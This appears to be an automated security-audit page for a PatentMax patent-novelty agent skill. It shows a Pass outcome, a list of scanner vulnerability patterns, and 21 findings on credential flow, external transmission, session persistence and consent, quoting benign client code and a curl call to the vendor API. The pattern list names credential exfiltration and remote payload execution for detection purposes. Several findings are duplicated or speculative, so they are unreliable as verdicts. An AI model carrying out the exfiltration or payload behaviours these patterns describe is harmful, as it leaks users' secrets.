专利查新 · PatentMax

• Outcome: Pass
• Latest audit: Oct 14, 2026 · 5:53 AM UTC
• Version: 1.1.1

Overview

This skill is a disclosed PatentMax patent-novelty client that sends user-approved invention text to PatentMax and saves report files locally.

Install only if you are comfortable sending the described technical solution, and possibly draft invention documents, to PatentMax for processing. Use a dedicated PatentMax API key, confirm the quoted cost before running a paid task, and keep the locally saved DOCX/JSON reports and any API key out of shared folders, logs, and public repositories.

A.I.G

Vulnerability Patterns

• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review
• Embedded Malicious Code: Ships malicious scripts inside the skill and executes them locally
• Unauthorized Access and Privilege Escalation: Obtains permissions beyond the task's legitimate needs

SkillSpector

Vulnerability Patterns

• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands
• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Rogue Agent: Self-Modification, Session Persistence
• Taint Tracking: Direct Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
• MCP Least Privilege: Underdeclared Capability, Wildcard Permission, Missing Permission Declaration

Findings (21)

Tainted flow: 'req' from os.environ.get (line 210, credential/environment) → urllib.request.urlopen (network output)

Critical

• Category: Data Flow
• Confidence: 90% confidence

Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/patentmax_novelty.py (reported line 134)May include surrounding context.

python

req.add_header("Content-Type", "application/json")
    req.add_header("Accept", "application/json")
    try:
        with urllib.request.urlopen(req, timeout=30) as response:
            payload = json.loads(response.read().decode("utf-8"))
    except urllib.error.HTTPError as exc:
        _, message = _server_error(exc.read().decode("utf-8", "replace"))

Tainted flow: 'req' from os.environ.get (line 210, credential/environment) → urllib.request.urlopen (network output)

Critical

• Category: Data Flow
• Confidence: 90% confidence

Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/patentmax_novelty.py (reported line 217)May include surrounding context.

python

req.add_header("Content-Type", "application/json")
    for key, value in (headers or {}).items():
        req.add_header(key, value)
    return urllib.request.urlopen(req, timeout=TIMEOUT)


def request(path, method="GET", body=None, headers=None, raw=False):

Tp4

High

• Category: MCP Tool Poisoning
• Confidence: 92% confidence

Finding

The skill metadata and body repeatedly state that a user-provided PatentMax API key is required, but the analyzed behavior indicates it can silently obtain and cache a free trial key instead. That is a material description-behavior mismatch: it changes authentication, billing, and consent expectations, and may transmit confidential invention disclosures to a third-party account the user did not knowingly authorize.

Content

No source excerpt is available for this finding.

Lp1

High

• Category: MCP Least Privilege
• Confidence: 91% confidence

Finding

Outbound network access is a sensitive capability because this skill transmits user-provided invention disclosures and uses an API key. If network permission is not explicitly declared, the host may not present adequate consent or sandboxing boundaries, increasing the risk of unintended data egress in a high-sensitivity workflow.

Content

No source excerpt is available for this finding.

Lp1

High

• Category: MCP Least Privilege
• Confidence: 91% confidence

Finding

Outbound network access is a sensitive capability because this skill transmits user-provided invention disclosures and uses an API key. If network permission is not explicitly declared, the host may not present adequate consent or sandboxing boundaries, increasing the risk of unintended data egress in a high-sensitivity workflow.

Content

No source excerpt is available for this finding.

Session Persistence

Medium

• Category: Rogue Agent
• Confidence: 60% confidence

Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · SKILL.md (reported line 8)May include surrounding context.

md

author: PatentMax
user-invocable: true
argument-hint: "[技术方案描述]"
allowed-tools: Bash, Read, Write
---

# PatentMax 专利查新

Session Persistence

Medium

• Category: Rogue Agent
• Confidence: 60% confidence

Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · SKILL.md (reported line 8)May include surrounding context.

md

author: PatentMax
user-invocable: true
argument-hint: "[技术方案描述]"
allowed-tools: Bash, Read, Write
---

# PatentMax 专利查新

Natural-Language Policy Violations

Medium

• Category: Not specified by scanner
• Confidence: 90% confidence

Finding

The instruction says that if the key is missing, the script returns a Chinese prompt and it should be relayed to the user verbatim. This imposes a specific language on user-facing communication without user opt-in or an alternative locale path.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 93% confidence

Finding

The FAQ explicitly tells users to print part of the API key and to set secrets directly in shell commands without any warning about shell history, screen sharing, logging, or secret-handling hygiene. While partial key display is common for debugging, this guidance normalizes credential exposure and increases the chance of accidental leakage in terminals, recordings, CI logs, or copied command history.

Content

No source excerpt is available for this finding.

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 60% confidence

Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/faq.md (reported line 125)May include surrounding context.

实在没有就直接发 HTTP 请求：

bash

curl -s -X POST "https://api.ip930.com/api/v1/reports" \
  -H "Authorization: Bearer $PATENTMAX_API_KEY" \
  -H "Content-Type: application/json" \
  -H "Idempotency-Key: 自定义唯一串" \

Natural-Language Policy Violations

Medium

• Category: Not specified by scanner
• Confidence: 89% confidence

Finding

SQP-3 applies to all file types and covers language or locale policy violations in natural-language content. This document presents all instructions solely in Chinese and does not indicate that users may choose another language or that the limitation is justified by a region-specific purpose.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium

• Category: Not specified by scanner
• Confidence: 94% confidence

Finding

At L046 the document explicitly says paid tasks require clear user consent and that the script requires explicit --yes, which the operator should not add on the user's behalf. However, the example submission command at L061-L064 includes --yes, which can encourage automatic submission behavior unless consent has already been separately captured. This is an intent-level contradiction in the workflow documentation.

Content

No source excerpt is available for this finding.

Session Persistence

Medium

• Category: Rogue Agent
• Confidence: 86% confidence

Finding

The asynchronous design itself is reasonable, but the implementation keeps resumable records on disk and automatically downloads reports back to a stored directory. For a patentability skill, long-lived local artifacts increase the chance that confidential invention details or generated reports are exposed to other local users, backup systems, or unrelated tooling.

Content

Scanner excerpt · scripts/patentmax_novelty.py (reported line 8)May include surrounding context.

python

**每条命令最多跑 30 秒就返回。** WorkBuddy 这类宿主前台跑命令时，要等命令结束才显示输出，
AI 中途也插不了话；一条命令阻塞几十分钟，用户就几十分钟什么都看不到，宿主还可能把命令掐掉。
所以 create 提交后只等 15 秒就先返回，之后用 wait 接着等，每次最多 30 秒：

    退出码 0   完成了（Word 报告已自动下载到提交时的目录）
    退出码 10  还在生成：把输出里的「[进度]」行告诉用户，再运行一次 wait

Session Persistence

Medium

• Category: Rogue Agent
• Confidence: 86% confidence

Finding

The asynchronous design itself is reasonable, but the implementation keeps resumable records on disk and automatically downloads reports back to a stored directory. For a patentability skill, long-lived local artifacts increase the chance that confidential invention details or generated reports are exposed to other local users, backup systems, or unrelated tooling.

Content

Scanner excerpt · scripts/patentmax_novelty.py (reported line 8)May include surrounding context.

python

**每条命令最多跑 30 秒就返回。** WorkBuddy 这类宿主前台跑命令时,要等命令结束才显示输出,
AI 中途也插不了话;一条命令阻塞几十分钟,用户就几十分钟什么都看不到,宿主还可能把命令掐掉。
所以 create 提交后只等 15 秒就先返回,之后用 wait 接着等,每次最多 30 秒:

    退出码 0   完成了(Word 报告已自动下载到提交时的目录)
    退出码 10  还在生成:把输出里的「[进度]」行告诉用户,再运行一次 wait

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 60% confidence

Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · README.md (reported line 73)May include surrounding context.

md

# 密钥版（TRIAL_SOURCE 为空）：必须设 PATENTMAX_API_KEY，不领试用。
TRIAL_SOURCE = ""
TRIAL_GROUP = "novelty"
TRIAL_REGISTER_URL = "https://api.ip930.com/features/api-platform"
KEY_FROM_TRIAL = False

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 60% confidence

Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/faq.md (reported line 17)May include surrounding context.

md

# 密钥版（TRIAL_SOURCE 为空）：必须设 PATENTMAX_API_KEY，不领试用。
TRIAL_SOURCE = ""
TRIAL_GROUP = "novelty"
TRIAL_REGISTER_URL = "https://api.ip930.com/features/api-platform"
KEY_FROM_TRIAL = False

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 60% confidence

Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/faq.md (reported line 125)May include surrounding context.

md

# 密钥版（TRIAL_SOURCE 为空）：必须设 PATENTMAX_API_KEY，不领试用。
TRIAL_SOURCE = ""
TRIAL_GROUP = "novelty"
TRIAL_REGISTER_URL = "https://api.ip930.com/features/api-platform"
KEY_FROM_TRIAL = False

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 60% confidence

Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/patentmax_novelty.py (reported line 92)May include surrounding context.

python

# 密钥版（TRIAL_SOURCE 为空）：必须设 PATENTMAX_API_KEY，不领试用。
TRIAL_SOURCE = ""
TRIAL_GROUP = "novelty"
TRIAL_REGISTER_URL = "https://api.ip930.com/features/api-platform"
KEY_FROM_TRIAL = False

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 60% confidence

Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/patentmax_novelty.py (reported line 171)May include surrounding context.

python

# 密钥版（TRIAL_SOURCE 为空）：必须设 PATENTMAX_API_KEY，不领试用。
TRIAL_SOURCE = ""
TRIAL_GROUP = "novelty"
TRIAL_REGISTER_URL = "https://api.ip930.com/features/api-platform"
KEY_FROM_TRIAL = False

Natural-Language Policy Violations

Low

• Category: Not specified by scanner
• Confidence: 90% confidence

Finding

The natural-language instructions and usage guidance are presented exclusively in Chinese, which can amount to a language-policy constraint if users are not explicitly given a choice or told that the skill is intended only for a Chinese-speaking audience. The file does not state that the locale is region-specific or provide an opt-in language selection.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low

• Category: Not specified by scanner
• Confidence: 81% confidence

Finding

This markdown file tells users to create a key and export it as PATENTMAX_API_KEY, but does not include any warning that the value is a sensitive credential or should not be shared, committed, or logged. For a skill that requires handling credentials, the description should disclose the sensitivity of the token and basic safe-use expectations.

Content

No source excerpt is available for this finding.